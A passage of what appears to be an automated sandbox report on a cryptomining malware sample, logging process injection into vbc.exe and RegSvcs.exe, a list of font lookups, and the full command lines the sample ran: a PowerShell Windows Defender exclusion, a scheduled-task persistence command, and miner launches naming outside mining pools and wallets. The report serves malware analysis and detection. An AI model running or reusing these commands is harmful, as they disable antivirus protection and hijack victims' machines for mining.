    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess queried: DebugPortJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess queried: DebugPortJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeMemory allocated: page read and write | page guardJump to behavior

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Writes to foreign memory regions
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 140000000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 140001000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 140070000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 14008D000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400AA000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400B0000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400B1000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400B2000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400B3000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400B4000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 1400C5000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: C6FCC0C010Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140000000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140001000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 14038D000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 14082A000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: A9F8696010Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140000000Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140001000Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 14038D000Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 14082A000Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 2757E5E010Jump to behavior
    .NET source code references suspicious native API functions
    Source: ghoul.exe.1.dr, C3554254475/C3904355907.csReference to suspicious API methods: ('C3554254475', 'VirtualAllocEx@kernel32.dll'), ('C3554254475', 'WriteProcessMemory@kernel32.dll'), ('C3554254475', 'CreateRemoteThread@kernel32.dll')
    Source: PFCIA.exe.3.dr, C3554254475/C3904355907.csReference to suspicious API methods: ('C3554254475', 'VirtualAllocEx@kernel32.dll'), ('C3554254475', 'WriteProcessMemory@kernel32.dll'), ('C3554254475', 'CreateRemoteThread@kernel32.dll')
    Injects a PE file into a foreign processes
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe base: 140000000 value starts with: 4D5AJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140000000 value starts with: 4D5AJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeMemory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe base: 140000000 value starts with: 4D5AJump to behavior
    Modifies the context of a thread in another process (thread injection)
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread register set: target process: 4788Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeThread register set: target process: 4024Jump to behavior
    Adds a directory exclusion to Windows Defender
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess created: C:\Users\user\AppData\Local\Temp\ghoul.exe "C:\Users\user\AppData\Local\Temp\ghoul.exe" Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0Jump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Users\user\Desktop\gOKMPhOLiN.exe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
